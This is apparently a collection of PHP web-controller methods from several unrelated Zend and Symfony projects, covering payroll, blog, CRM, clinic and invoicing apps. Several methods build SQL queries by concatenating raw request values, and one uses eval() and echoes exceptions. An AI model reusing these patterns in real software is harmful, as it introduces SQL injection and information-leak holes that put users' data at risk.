);\n foreach ($datos as $dato){\n $idCon = (int) $dato['idConc'];\n $idTmat = (int) $dato['id'];\n $valor = '$data->val'.$idCon;\n eval(\"\\$valor =$valor;\"); \n $cuotas = 0;\n if ($valor>0)\n {\n $datCon = $d->getConnom2(\" and id=\".$idCon);\n foreach ($datCon as $dat)\n { \n $u->actRegistro($data->id, $idTmat ,$data->idEmp,$idCon, $valor,$data->idCal, $dat['tipo'], $dat['valor'], $data->fechaIni, $idProy, $cuotas );\n } \n }\n }\n }else{ // Tipo lineal de seleccion\n $valor = 0; \n if (isset($data->valor))\n {\n $valor = $data->valor;\n if ($valor > 0)\n {\n $datCon = $d->getConnom2(\" and id=\".$data->tipo);\n foreach ($datCon as $dat)\n { \n $idInov = $u->actRegistro($data->id, 0,$data->idEmp ,$data->tipo, $valor, $data->idCal, $dat['tipo'], $dat['valor'], $data->fechaIni, $idProy, $data->numero);\n }\n // CUOTAS \n if ($data->numero>0)\n {\n $d->modGeneral(\"insert into n_novedades_cuotas\n (idInov, idEmp, idCal, idConc, valor, cuotas) \n values(\".$idInov.\",\".$data->idEmp.\",\".$data->idCal.\",\".$data->tipo.\",\".$valor.\",\".$data->numero.\")\");\n } \n }\n }else{ // es porque sera ejecutado por formula\n $cuotas = 0; \n $datCon = $d->getConnom2(\" and id=\".$data->tipo);\n foreach ($datCon as $dat){ \n $u->actRegistro($data->id, 0,$data->idEmp ,$data->tipo, $valor, $data->idCal, $dat['tipo'], $dat['valor'], $data->fechaIni, $idProy, $cuotas); \n }\n } \n \n } \n // Buscar de en novedades cuales tienen formulas \n $datos = $d->getGeneral(\"select a.id, c.id as idFor,c.formula,a.horas, b.tipo, a.idEmp, a.idProy \n from n_novedades a \n inner join n_conceptos b on b.id=a.idConc \n inner join n_formulas c on c.id=b.idFor \n where a.calc=0 and a.estado = 0\");\n $f = new NominaFunc($this->dbAdapter);// ------------------------------------------------- 3 FUNCION DENTRO DEL MODELO (C) \n //print_r($data);\n foreach ($datos as $dat)\n {\n if ($dat['formula']!='') // LLamar funcion para hallar formulas \n { \n //echo $dat['formula'].'<br />';\n $fechaEje = '';\n $idProy = $dat['idProy'];\n $datFor = $f->getFormula($dat['formula'], $dat['idFor'], $dat['tipo'], $dat['horas'], $dat['idEmp'],0,0,0,0,$fechaEje, $idProy) ;\n //print_r($datFor).'<br />';\n ///$d->modGeneral('Update n_novedades Set calc=1 , devengado='.$datFor['dev'].', deducido='.$datFor['ded'].' Where id='.$dat['id']); \n } \n } \n\n $connection->commit();\n }// Fin try casth \n catch (\\Exception $e) \n {\n if ($connection instanceof \\Zend\\Db\\Adapter\\Driver\\ConnectionInterface) {\n $connection->rollback();\n echo $e;\n } \n /* Other error handling */\n }// FIN TRANSACCION \n } // Fin Post \n }\n // Datos \n $datTnom = $d->getGeneral1(\"select a.id, a.idTnom, b.idTcal, c.idGrupo from n_tip_matriz a \n inner join n_tip_nom b on b.id=a.idTnom \n inner join n_tip_calendario_d c \n on c.idTnom=a.idTnom and c.idGrupo=a.idGrup \n where a.id=\".$id.\" limit 1\" ); \n // Empleados\n $arreglo='';\n $datos = $d->getEmp(' and idGrup='.$idGrupo); \n foreach ($datos as $dat){\n $idc=$dat['id'];$nom=$dat['CedEmp'].' - '.$dat['nombre'].' '.$dat['apellido'];\n $arreglo[$idc]= $nom;\n } \n $form->get(\"idEmp\")->setValueOptions($arreglo); \n //\n // Calendario\n $arreglo='';\n //echo $datTnom['idGrupo'].' '.$datTnom['idTcal'].' '.$datTnom['idTnom'];\n $datos = $d->getCalenIniFin2($datTnom['idGrupo'], $datTnom['idTcal'], $datTnom['idTnom']); \n foreach ($datos as $dat){\n if ($dat['idNom']==0) // Solo muestra calendario de nominas no generadas\n {\n $idc=$dat['id'];$nom=$dat['fechaI'].' - '.$dat['fechaF'];\n $arreglo[$idc]= $nom;\n }\n } \n if ($arreglo!='')\n $form->get(\"idCal\")->setValueOptions($arreglo); \n // \n $datos = $d->getGeneral1(\"select tipo from n_tip_matriz where id = \".$id);\n $tipo = $datos['tipo']; \n $form->get(\"id2\")->setAttribute(\"value\",$tipo); // Tipo de matriz\n $arreglo=''; \n $con=' ';\n if ($tipo==1) \n $con=' and tipo=1'; \n if ($tipo==2) \n $con=' and tipo=2'; \n $datos = $d->getConPres($con); \n if ($con!=' ')\n {\n foreach ($datos as $dat){\n $idc=$dat['id'];$nom=$dat['codigo'].' - '.$dat['nombre'];\n $arreglo[$idc]= $nom;\n }\n $form->get(\"tipo\")->setValueOptions($arreglo); \n }\n\n $valores=array\n (\n \"titulo\" => $this->tfor.' '.$nomGrupo,\n \"form\" => $form,\n 'url' => $this->getRequest()->getBaseUrl(),\n 'tipo' => $tipo, \n 'id' => $id, \n 'datos' => $d->getGeneral(\"select a.id, b.nombre as nomMatz, a.idConc, b.alias, b.tipo,b.valor \n from n_tip_matriz_tnv a \n inner join n_conceptos b on b.id=a.idConc where a.idTmatz=\".$id.\" order by b.codigo \"),\n 'datNov' => $d->getDnovedades(\" and a.idMatz=\".$id),\n 'datNovA' => $d->getGeneral1(\"select count(b.id) as num \n from n_tip_matriz a \n inner join n_nomina b on b.idGrupo = a.idGrup \n where b.estado in (0,1) and a.id =\".$id),\n \"ttablas\" => \"Cedula, Empleado, Concepto, Sueldo, Horas, Devengado, Deducido, Periodo, Ejecutado , Eliminar\", \n \"lin\" => $this->lin\n ); \n // ------------------------ Fin valores del formulario \n return new ViewModel($valores); \n\n }", "public function annimalEditAction()\n {\n }", "public function editAction(){\n\t\t$id = $this->params()->fromRoute('id');\n\t\t//goi entitymanager thao tao voi doctrine\n\t\t$em = $this->getEm();\n\t\t$sm = $this->getServiceLocator();\n\t\t$form = $sm->get('FormElementManager')->get('PostForm');\n\t\t//lay thong tin bai viet theo id\n\t\t$post = $em->getRepository('\\Blog\\Entity\\Post')->findOneBy(array('id'=>$id));\n\t\t//lay tat ca cac danh muc trong bang categories\n\t\t$cates = $em->getRepository('\\Blog\\Entity\\Categorie')->findAll();\n\t\t$options=array();\n\t\tforeach($cates as $cate){\n\t\t\t$options[$cate->getId()] = $cate->getName();\n\t\t}\n\t\t//day du lieu cho select box cate_id\n\t\t$form->get('cate_id')->setValueOptions($options);\n\t\t//set selected\t\n\t\t$form->get('cate_id')->setAttributes(array('value'=>$post->getCate()->getId(),'selected'=>'true'));\t\n\t\t\n\t\t//xu li khi nguoi dung cap nhat sua\n\t\t$request=$this->getRequest();\n\t\tif($request->isPost()){\n\t\t\t//validate\n\t\t\t$data=$request->getPost();\n\t\t\t$form->setData($data);\n\t\t\tif($form->isValid()){\n\t\t\t\t//du lieu tu form sau khi validate\n\t\t\t\t$dataInput=$form->getData();\n\t\t\t\t/*\n\t\t\t\t//bien luu cateId\n\t\t\t\t$cateId=$em->getRepository('\\Blog\\Entity\\Categorie')->findOneBy(array('id'=>$dataInput['cate_id']));\n\t\t\t\t//set cac gia tri cho bang post\n\t\t\t\t$post->setTitle($dataInput['title']);\n\t\t\t\t$post->setInfo($dataInput['info']);\n\t\t\t\t$post->setContent($dataInput['content']);\n\t\t\t\t$post->setStatus($dataInput['status']);\n\t\t\t\t$post->setCate($cateId);\n\t\t\t\t\n\t\t\t\t$em->persist($post);\n\t\t\t\t//xu li add tags\n\t\t\t\t//xoa het cac tags di\n\t\t\t\t$tags=$post->getTags();\n\t\t\t\tforeach($tags as $tag){\n\t\t\t\t\t$post->removeTag($tag);\n\t\t\t\t}\n\t\t\t\t//add cac tag moi\n\t\t\t\t$tags=explode(\",\",$data['tags']);\n\t\t\t\tforeach($tags as $tagName){\n\t\t\t\t\t$tagName=trim($tagName);\n\t\t\t\t\t$tag=$em->getRepository('\\Blog\\Entity\\Tag')->findOneBy(array('name'=>$tagName));\n\t\t\t\t\tif($tag == null){\n\t\t\t\t\t\t$tag=new \\Blog\\Entity\\Tag;\n\t\t\t\t\t}\n\t\t\t\t\t$tag->setName($tagName);\n\t\t\t\t\t$tag->addPost($post);\n\t\t\t\t\t$em->persist($tag);\n\t\t\t\t\t$post->addTag($tag);\n\t\t\t\t}\t\n\t\t\t\t$em->flush();\n\t\t\t\t*/\n\t\t\t\t$sm->get('PostManager')->editPost($post,$dataInput);\n\t\t\t\t//add flash messenger\n\t\t\t\t$this->flashMessenger()->addMessage(\" Sửa bài viết thành công \");\n\t\t\t\treturn $this->redirect()->toRoute('blog/post',array('action'=>'list'));\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t\t/*\n\t\t//luu cac tag\n\t\t$tagStr=\"\";\n\t\t//goi cac tac cho bai viet\n\t\t$tags=$post->getTags();\n\t\tif(count($tags)){\n\t\t\t$i=0;\n\t\t\tforeach($tags as $tag){\n\t\t\t\t$i++;\n\t\t\t\t$tagStr.= $tag->getName();\n\t\t\t\tif($i < count($tags)){\n\t\t\t\t\t$tagStr.=\", \";\n\t\t\t\t}\n\t\t\t}\t\t\t\n\t\t}*/\n\t\t//set cac gia tri cho form edit\t\n\t\t$data=array(\n\t\t\t\t'title' => $post->getTitle(),\n\t\t\t\t'info' => $post->getInfo(),\n\t\t\t\t'content' => $post->getContent(),\n\t\t\t\t'status' => $post->getStatus(),\n\t\t\t\t'tags' => $sm->get('PostManager')->convertTagToString($post),\n\t\t\t);\n\t\t$form->setData($data);\n\n\t\treturn new ViewModel(array('form'=>$form,'postId'=>$id));\n\n\t}", "public function listaAction() \n { \n $form = new Formulario(\"form\");\n // valores iniciales formulario (C)\n $id = (int) $this->params()->fromRoute('id', 0);\n $form->get(\"id\")->setAttribute(\"value\",$id); \n // Lista de cargos\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $d = New AlbumTable($this->dbAdapter); \n $arreglo[0]='( NO TIENE )';\n $datos = $d->getCargos();// Listado de cargos\n foreach ($datos as $dat){\n $idc=$dat['id'];$nom=$dat['nombre'];\n $arreglo[$idc]= $nom;\n } \n $form->get(\"idCar\")->setValueOptions($arreglo); \n $arreglo = '';\n $datos = $d->getNcargos();\n foreach ($datos as $dat){\n $idc=$dat['id'];$nom=$dat['nombre'];\n $arreglo[$idc]= $nom;\n } \n $form->get(\"idNcar\")->setValueOptions($arreglo); \n $arreglo = '';\n $datos = $d->getCencos();// Listado de centros de costos\n foreach ($datos as $dat){\n $idc=$dat['id'];$nom=$dat['nombre'];\n $arreglo[$idc]= $nom;\n } \n $form->get(\"idDep\")->setValueOptions($arreglo); \n $arreglo = '';\n $datos = $d->getSedes();// Listado de sedes\n foreach ($datos as $dat){\n $idc=$dat['id'];$nom=$dat['nombre'];\n $arreglo[$idc]= $nom;\n } \n $form->get(\"idSed\")->setValueOptions($arreglo); \n $arreglo = '';\n $datos = $d->getDepar();\n foreach ($datos as $dat){\n $idc=$dat['id'];$nom=$dat['nombre'];\n $arreglo[$idc]= $nom;\n } \n $form->get(\"idGdot\")->setValueOptions($arreglo); \n $arreglo = '';\n $datos = $d->getGdot();// Grupo de dotaciones\n foreach ($datos as $dat){\n $idc=$dat['id'];$nom=$dat['nombre'];\n $arreglo[$idc]= $nom;\n } \n $form->get(\"idGdot\")->setValueOptions($arreglo); \n $arreglo = '';\n $datos = $d->getNasp();// Nivel de aspecto del cargo\n foreach ($datos as $dat){\n $idc=$dat['id'];$nom=$dat['nombre'];\n $arreglo[$idc]= $nom;\n } \n $form->get(\"idNasp\")->setValueOptions($arreglo); \n // Tipos de salarios\n $arreglo = '';\n $datos = $d->getSalarios(''); \n $arreglo='';\n foreach ($datos as $dat){\n $idc=$dat['id'];$nom=number_format($dat['salario']).' (COD: '.$dat['codigo'].')';\n $arreglo[$idc]= $nom;\n } \n $form->get(\"idTnomm\")->setValueOptions($arreglo); \n // Fin valor de formularios\n $valores=array\n (\n \"titulo\" => $this->tfor,\n \"form\" => $form, \n 'url' => $this->getRequest()->getBaseUrl(),\n 'id' => $id,\n \"lin\" => $this->lin\n ); \n // ------------------------ Fin valores del formulario \n \n if($this->getRequest()->isPost()) // Actulizar datos\n {\n $request = $this->getRequest();\n if ($request->isPost()) {\n // Zona de validacion del fomrulario --------------------\n $album = new ValFormulario();\n $form->setInputFilter($album->getInputFilter()); \n $form->setData($request->getPost()); \n $form->setValidationGroup('nombre','numero'); // ------------------------------------- 2 CAMPOS A VALDIAR DEL FORMULARIO (C) \n // Fin validacion de formulario ---------------------------\n if ($form->isValid()) {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $u = new Cargos($this->dbAdapter);// ------------------------------------------------- 3 FUNCION DENTRO DEL MODELO (C) \n $data = $this->request->getPost();\n if ($data->id==0)\n $id = $u->actRegistro($data); // Trae el ultimo id de insercion en nuevo registro \n else \n {\n $u->actRegistro($data); \n $id = $data->id;\n }\n // Guardar tipos de nominas afectado por automaticos\n $f = new CargosS($this->dbAdapter);\n // Eliminar registros de tipos de nomina afectados por automaticos \n $d->modGeneral(\"Delete from t_cargos_sa where idCar=\".$id); \n $i=0;\n foreach ($data->idTnomm as $dato){\n $idSal = $data->idTnomm[$i];$i++; \n $f->actRegistro($idSal,$id); \n } \n $this->flashMessenger()->addMessage(''); \n return $this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin.'a/'.$data->id);\n }\n }\n return new ViewModel($valores);\n \n }else{ \n if ($id > 0) // Cuando ya hay un registro asociado\n {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $u=new Cargos($this->dbAdapter); // ---------------------------------------------------------- 4 FUNCION DENTRO DEL MODELO (C) \n $datos = $u->getRegistroId($id);\n $a = $datos['nombre'];\n $b = $datos['deno'];\n $c = $datos['idCar_a'];\n $d = $datos['plazas'];\n $e = $datos['respo'];\n $f = $datos['mision'];\n $g = $datos['idNcar'];\n\n $i = $datos['idGdot'];\n $j = $datos['idNasp'];\n // Valores guardados\n $form->get(\"nombre\")->setAttribute(\"value\",\"$a\"); \n $form->get(\"deno\")->setAttribute(\"value\",\"$b\"); \n $form->get(\"numero\")->setAttribute(\"value\",$d); // Plazas\n $form->get(\"respo\")->setAttribute(\"value\",\"$e\"); \n $form->get(\"mision\")->setAttribute(\"value\",\"$f\"); \n $form->get(\"idSed\")->setAttribute(\"value\",$datos['idSed']); \n $form->get(\"idDep\")->setAttribute(\"value\",$datos['idCcos']); \n // Jefe directo\n $d = New AlbumTable($this->dbAdapter); \n $datos = $d->getCargos();\n $form->get(\"idCar\")->setAttribute(\"value\",\"$c\"); \n $form->get(\"idNcar\")->setAttribute(\"value\",\"$g\"); \n\n $form->get(\"idGdot\")->setAttribute(\"value\",\"$i\"); \n $form->get(\"idNasp\")->setAttribute(\"value\",\"$j\"); \n // Escalas salariales\n $datos = $d->getSalCargos(' and idCar='.$id);\n $arreglo=''; \n foreach ($datos as $dat){\n $arreglo[]=$dat['idSal'];\n } \n $form->get(\"idTnomm\")->setValue($arreglo); \n return new ViewModel($valores);\n } \n \n }\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n /*$services = $em->getRepository('kiraxeAdminCrmBundle:Services');\n\n $services = $services->createQueryBuilder('s1')\n ->join('s1.childrens', 's2', Join::WITH , 's1.id = s2.parent')\n ->getQuery()->getResult();\n */\n $services = $em->createQuery(\n 'SELECT s1, s2 FROM kiraxeAdminCrmBundle:Services s1 JOIN kiraxeAdminCrmBundle:Services s2 WITH s1.id = s2.parent'\n )->getResult();\n\n $deleteForm = [];\n\n $this->denyAccessUnlessGranted('IS_AUTHENTICATED_FULLY');\n $user = $this->getUser();\n $tableName = [];\n $tableSettingsName = [];\n $tableName[$em->getClassMetadata('kiraxeAdminCrmBundle:Workers')->getTableName()] = \"Сотрудники\";\n $tableName[$em->getClassMetadata('kiraxeAdminCrmBundle:Services')->getTableName()] = \"Услуги\";\n $tableSettingsName[$em->getClassMetadata('kiraxeAdminCrmBundle:User')->getTableName()] = \"Пользователи\";\n $tableName[$em->getClassMetadata('kiraxeAdminCrmBundle:Materials')->getTableName()] = \"Материалы\";\n $tableName[$em->getClassMetadata('kiraxeAdminCrmBundle:Orders')->getTableName()] = \"Заказ-наряд\";\n $tableSettingsName[$em->getClassMetadata('kiraxeAdminCrmBundle:Measure')->getTableName()] = \"Единицы измерения\";\n $tableName[$em->getClassMetadata('kiraxeAdminCrmBundle:Expenses')->getTableName()] = \"Расход\";\n $tableCars = [];\n $tableCars[$em->getClassMetadata('kiraxeAdminCrmBundle:Brand')->getTableName()] = \"Бренд автомобиля\";\n $tableCars[$em->getClassMetadata('kiraxeAdminCrmBundle:Model')->getTableName()] = \"Модель автомобиля\";\n\n for($i = 0; $i < count($services); $i++) {\n $deleteForm[$services[$i]->getName()] = $this->createDeleteForm($services[$i])->createView();\n }\n\n return $this->render('services/index.html.twig', array(\n 'services' => $services,\n 'delete_form' => $deleteForm,\n 'tables' => $tableName,\n 'user' => $user,\n 'tableSettingsName' => $tableSettingsName,\n 'tableCars' => $tableCars,\n ));\n }", "public function hydrateeditquestionformAction()\r\n {\r\n\r\n // Check Post\r\n if (!$this->getRequest()->isPost())\r\n die();\r\n\r\n $params = $this->getRequest()->getParams();\r\n $questionId = $params['questionId'];\r\n\r\n\r\n $question = new Application_Model_DbTable_FicheQuestion();\r\n $question = $question->getOneQuestionById($questionId);\r\n $this->_helper->json($question);\r\n\r\n }", "public function createAction(Request $request) {\r\n $entity = new Rubrique();\r\n $form = $this->createCreateForm($entity);\r\n $form->handleRequest($request);\r\n\r\n if ($form->isValid()) {\r\n $em = $this->getDoctrine()->getManager();\r\n $entity->setRubDate(new \\DateTime());\r\n $entity->setRubCreator($this->getUser());\r\n// $listRub = $entity->getRubCat();\r\n// var_dump($listRub);\r\n// $listRub->add($entity);\r\n// $entity->getRubCat()->setRubriques($listRub);\r\n $em->persist($entity);\r\n $em->flush();\r\n\r\n return $this->redirect($this->generateUrl('rubrique_show', array('id' => $entity->getId())));\r\n }\r\n\r\n return array(\r\n 'entity' => $entity,\r\n 'form' => $form->createView(),\r\n );\r\n }", "public function actionCreate() {}", "public function actionCreate() {}", "public function listodAction() \n { \n // valores iniciales formulario (C)\n $id = (int) $this->params()->fromRoute('id', 0); \n if($this->getRequest()->isPost()) // Actulizar datos\n {\n $request = $this->getRequest();\n $data = $this->request->getPost();\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $u=new tipdocontrolo($this->dbAdapter); // ---------------------------------------------------------- 5 FUNCION DENTRO DEL MODELO (C) \n $u->delRegistro($data->id); \n }\n $view = new ViewModel(); \n $this->layout('layout/blancoC'); // Layout del login\n return $view; \n\n }", "public function Ajouter_ActeurAction(Request $request){\n#Classe Request, native de Symfony, récupère la requete et la met dans la variable\n #Ne pas oublier de faire un Use\n\n #Avant de créer un objet, il faut \"use\" la classe - #note 1\n $acteur = new Acteur();\n\n $formActeur = $this -> createForm(new ActeurType(), $acteur)\n -> add ('Ajouter' , 'submit');\n #note 2 - à chaque New, faire un Use \n \n if (\"POST\" === $request -> getMethod() ) #Déprécié \n {\n //die(\"Post\"); //si on est dans le post\n\n $formActeur -> bind($request) ; #Déprécié //on met les infos tapées dans le formulaire\n \n if($formActeur -> isValid())\n {\n \n\n $acteur -> upload(); //pour rajouter image\n\n #On enregistre grâce à Doctrine\n $em = $this -> getDoctrine() -> getManager();\n $em -> persist ($acteur); #reconnait l'objet\n $em -> flush(); #sauvegarde de l'objet\n\n #créer un message flash, qui n'apparait qu'une seule fois\n #il faut qu'on se place dans une session\n $session = $request -> getSession();\n $session -> getFlashBag() -> add('info', 'Acteur créé');\n\n #getFlashBag est natif de Symfony\n #add prend comme paramètre une clé et un message - on peut mettre plusieurs messages dans la meme clé\n #ensuite il suffit d'afficher dans twig \n \n\n\n #Recharger le formulaire en get\n #redirection vers le formulaire vide\n return $this -> redirect($this -> generateUrl('troiswa_public_admin_ajouter_acteur'));\n #generateUrl prend en param l'identifiant de la root\n\n\n } \n } \n\n return $this -> render('TroiswaPublicBundle:Acteur:ajouter_acteur.html.twig', array('formActeur' => $formActeur -> createView()));\n\n\n}", "public function requisicaoAction() {\n\n $oBaseUrlHelper = new Zend_View_Helper_BaseUrl();\n $oContribuinte = $this->_session->contribuinte;\n $iInscricaoMunicipal = $oContribuinte->getInscricaoMunicipal();\n $aServicos = Contribuinte_Model_Servico::getByIm($iInscricaoMunicipal);\n\n // Verifica se a empresa é prestadora de serviços\n if ($aServicos == NULL || empty($aServicos)) {\n\n $this->view->sMensagemBloqueio = $this->translate->_('Empresa não prestadora de serviço.');\n\n return;\n }\n\n // Verifica se a empresa é emissora de NFSe\n $iTipoEmissaoNota = Contribuinte_Model_ContribuinteAbstract::TIPO_EMISSAO_NOTA;\n\n if ($oContribuinte->getTipoEmissao($iInscricaoMunicipal) != $iTipoEmissaoNota) {\n\n $this->view->sMensagemBloqueio = $this->translate->_('Empresa não emissora de NFS-E.');\n\n return;\n }\n\n $oFormRequisicao = new Contribuinte_Form_RequisicaoRps();\n $oFormRequisicao->setAction($oBaseUrlHelper->baseUrl('/contribuinte/rps/gerar-requisicao'));\n\n $this->view->oFormRequisicao = $oFormRequisicao;\n $this->view->aTipoDocumento = Contribuinte_Model_nota::getTiposNota(Contribuinte_Model_Nota::GRUPO_NOTA_RPS);\n $this->view->aListaRequisicao = Administrativo_Model_RequisicaoAidof::getRequisicoeseAidofs(\n $iInscricaoMunicipal,\n NULL,\n Contribuinte_Model_Nota::GRUPO_NOTA_RPS);\n }", "public function newconpacienteAction()\r\n {\r\n //Metodo para consulta nueva con id de paciente\r\n $entity = new Consulta();\r\n \r\n $em = $this->getDoctrine()->getManager();\r\n \r\n //Recuperación del paciente\r\n $request = $this->getRequest();\r\n $cadena= $request->get('id');\r\n $flag = 0;\r\n \r\n if($cadena != NULL) {\r\n //Obtener el id del parametro\r\n $idEntidad = substr($cadena, 1);\r\n\r\n //$identidad= $request->get('identidad');\r\n //Busqueda del paciente\r\n $paciente = $em->getRepository('DGPlusbelleBundle:Paciente')->find($idEntidad);\r\n\r\n //Seteo del paciente en la entidad\r\n $entity->setPaciente($paciente);\r\n //var_dump($paciente);\r\n $form = $this->createCreateForm($entity,2,$cadena, $paciente);\r\n $entity->setPaciente($paciente);\r\n } else {\r\n $paciente = new \\DGPlusbelleBundle\\Entity\\Paciente();\r\n $form = $this->createCreateForm($entity, 3, $cadena, $paciente);\r\n $flag = 1;\r\n } \r\n \r\n return array(\r\n 'entity' => $entity,\r\n 'form' => $form->createView(),\r\n 'flag' => $flag,\r\n );\r\n \r\n }", "public function indexAction()\n {\n \tif (false === $this->get('security.context')->isGranted('ROLE_HUMAIN')) {\r\n \t\tthrow new AccessDeniedException();\r\n \t}\n \t$request = $this->get('request');\n \t\r\n \t$param = $request->request->all();\n $em = $this->getDoctrine()->getEntityManager();\n $config=$this->get('config.extension');\n $admin=$this->get('security.context')->isGranted('ROLE_HUMAIN');\n $entitiesQuery=\"SELECT d, o FROM AssoMakerPHPMBundle:DisponibiliteInscription d LEFT JOIN d.orgas o ORDER BY d.debut\"; \n\n $entities = $em->createQuery($entitiesQuery)->getResult();\n \n \n $data = array(\r\n \t\t'disponibiliteInscriptionItems'=>$entities\r\n );\n $form = $this->createForm(new DisponibiliteInscriptionListType($admin, $config));\n\n \n if ($this->get('request')->getMethod() == 'POST') {\r\n \t$form->bindRequest($request);\r\n \t$data = $form->getData();\r\n \t$valid=$form->isValid();\n\r\n \r\n \r\n \r\n \tif ($valid) {\n \t\t\n \t\t$decalage = $data['decalage'];\n \t\t$mission = $data['mission'];\n \t\t$statut = $data['statut'];\n \t\t$pointsCharisme = $data['pointsCharisme'];\n \t\t$confiance = $data['confiance'];\n \t\t$confianceDesaffect = $data['confiance2'];\n \t\t\n \t\tforeach ($data['disponibiliteInscriptionItems'] as $di){\n \t\t\t\n \t\t\tif($param['action']=='delete'){\r\n \t\t\t\t $em->remove($di);\r\n \t\t\t\r\n \t\t\t}\n \t\t\t\n \t\t\tif($param['action']=='affect'){\n \t\t\t\t\n \t\t\t\tforeach($confiance->getEquipes() as $equipe)\n \t\t\t\t{\n \t\t\t\t\tforeach ($equipe->getOrgas() as $orga)\n \t\t\t\t\t{\n \t\t\t\t\t\tif (!($orga->getDisponibilitesInscription()->contains($di)))\n \t\t\t\t\t\t{\t\n \t\t\t\t\t\t\t$orga->addDisponibiliteInscription($di);\n \t\t\t\t\t\t}\n \t\t\t\t\t}\n \t\t\t\t\t\n \t\t\t\t}\n \t\t\t}\n \t\t\t\n \t\t\t\n \t\t\tif($param['action']=='desaffect'){\n \t\t\t \n \t\t\t\tforeach($confianceDesaffect->getEquipes() as $equipe)\n \t\t\t\t{\n \t\t \tforeach ($equipe->getOrgas() as $orga)\n \t\t\t\t\t{\n \t\t\t\t\t\tif ($orga->getDisponibilitesInscription()->contains($di))\n \t\t\t\t\t\t{\t\n \t\t\t\t\t\t\t$orga->getDisponibilitesInscription()->removeElement($di);\n \t\t\t\t\t\t}\n \t\t\t\n \t\t\t\t }\n \t\t\t\t }\n \t\t\n \t\t\t}\n \t\t\t\n \t\t\t\n \t\t\tif($param['action']=='edit'){\n \t\t\t\t\n \t\t\t\tif($decalage!=null){\r\n\t \t\t\t\t$ndi = new DisponibiliteInscription();\n\t \t\t\t\t$debutDi = clone $di->getDebut();\n\t \t\t\t\t$finDi = clone $di->getFin();\n\t \t\t\t\t$debutDi->add(new \\DateInterval('PT'.($decalage).'S'));\n\t \t\t\t\t$finDi->add(new \\DateInterval('PT'.($decalage).'S'));\n\t \t\t\t\t$ndi->setDebut($debutDi);\n\t \t\t\t\t$ndi->setFin($finDi);\n\t \t\t\t\tif($mission!=null){\r\n\t \t\t\t\t\t$ndi->setMission($mission);\r\n\t \t\t\t\t}else{\n\t \t\t\t\t\t$ndi->setMission($di->getMission());\n\t \t\t\t\t}\r\n\t \t\t\t\t \r\n\t \t\t\t\tif($statut!=null){\r\n\t \t\t\t\t\t$ndi->setStatut($statut);\r\n\t \t\t\t\t}else{\t \t\t\t\t\n\t \t\t\t\t\t$ndi->setStatut($di->getStatut());\n\t \t\t\t\t}\n\t \t\t\t\t\n\t \t\t\t\tif($pointsCharisme!=null){\r\n\t \t\t\t\t\t$ndi->setPointsCharisme($pointsCharisme);\r\n\t \t\t\t\t}else{\r\n\t \t\t\t\t\t$ndi->setPointsCharisme($di->getPointsCharisme());\r\n\t \t\t\t\t}\n\t \t\t\t\t\n\t \t\t\t\t$em->persist($ndi);\r\n \t\t\t\t}else{\n \t\t\t\t\t\n \t\t\t\t\tif($mission!=null){\r\n \t\t\t\t\t\t$di->setMission($mission);\r\n \t\t\t\t\t}\r\n \t\t\t\t\t\r\n \t\t\t\t\tif($statut!=null){\r\n \t\t\t\t\t\t$di->setStatut($statut);\r\n \t\t\t\t\t}\n \t\t\t\t\tif($pointsCharisme!=null){\r\n \t\t\t\t\t\t$di->setPointsCharisme($pointsCharisme);\r\n \t\t\t\t\t}\n \t\t\t\t}\r\n \t\t\t\t \r\n \t\t\t}\r\n \t\t\t\r\n \t\t\r\n \t\t}\n \t\t\n \t\t\n \t\t\n \t\t\n \t\t\n \t\t\r\n \t\t$em->flush();\n \t\t\r\n \r\n \t}\r\n \r\n \t$form = $this->createForm(new DisponibiliteInscriptionListType($admin, $config));\n \t$entities = $em->createQuery($entitiesQuery)->getResult();\r\n }\n\t\t\n \n return array('entities' => $entities,\n \t\t'form'=>$form->createView());\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $datos = $em->getRepository('AppBundle:Personal')->findAll();\n \n $cabecera=array('Registro','Nombre','Apellido1','Apellido2','Nacionalidad'\n ,'Telefono Fijo','Movil','Email','Direccion','Poblacion','Fecha de nacimiento');\n \n $campos=array('idremesa','Nombre','Apellido1','Apellido2','Nacionalidad'\n ,'Telefonofijo','Movil','Email','Direccion','Poblacion','Fechanacimiento');\n $tipos=array('','','','','','','','','','d');\n \n return $this->render('muestratabla.html.twig', array(\n 'datos' => $datos,\n 'cabeceras'=>$cabecera,\n 'campos'=>$campos,\n 'campoclave'=>$campos[0],\n 'titulo'=>'Personal',\n 'nombreruta'=>'personal', \n 'nombreparametro'=>$campos[0],\n 'tipos'=>$tipos, \n ));\n /* \n return $this->render('personal/index.html.twig', array(\n 'personals' => $personals,\n ));\n \n */\n }", "public function newconcitaAction()\r\n {\r\n //Metodo para consulta nueva con el id de cita\r\n $entity = new Consulta();\r\n \r\n $em = $this->getDoctrine()->getManager();\r\n \r\n //Recuperación del id\r\n $request = $this->getRequest();\r\n $cadena= $request->get('id');\r\n //$identidad= $request->get('identidad');\r\n //Obtener el id del parametro\r\n $idEntidad = substr($cadena, 1);\r\n $cita = $em->getRepository('DGPlusbelleBundle:Cita')->find($idEntidad);\r\n //var_dump($cadena);\r\n //var_dump($cita);\r\n $tratamiento = $cita->getTratamiento();\r\n \r\n $entity->setTratamiento($tratamiento);\r\n $idpaciente=$cita->getPaciente()->getId();\r\n \r\n //Busqueda del paciente\r\n $paciente = $em->getRepository('DGPlusbelleBundle:Paciente')->find($idpaciente);\r\n //Seteo del paciente en la entidad\r\n $entity->setPaciente($paciente);\r\n \r\n $form = $this->createCreateForm($entity,2,$cadena);\r\n\r\n return array(\r\n 'entity' => $entity,\r\n 'form' => $form->createView(),\r\n );\r\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n $request = $this->getRequest();\n \n $entity = $em->getRepository('CapacitacionBundle:Capacitador')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Capacitador entity.');\n }\n\n $editForm = $this->createForm(new CapacitadorType(), $entity);\n $deleteForm = $this->createDeleteForm($id);\n\n // Incluimos camino de migas\n $pagina = $request->get('pag');\n $breadcrumbs = 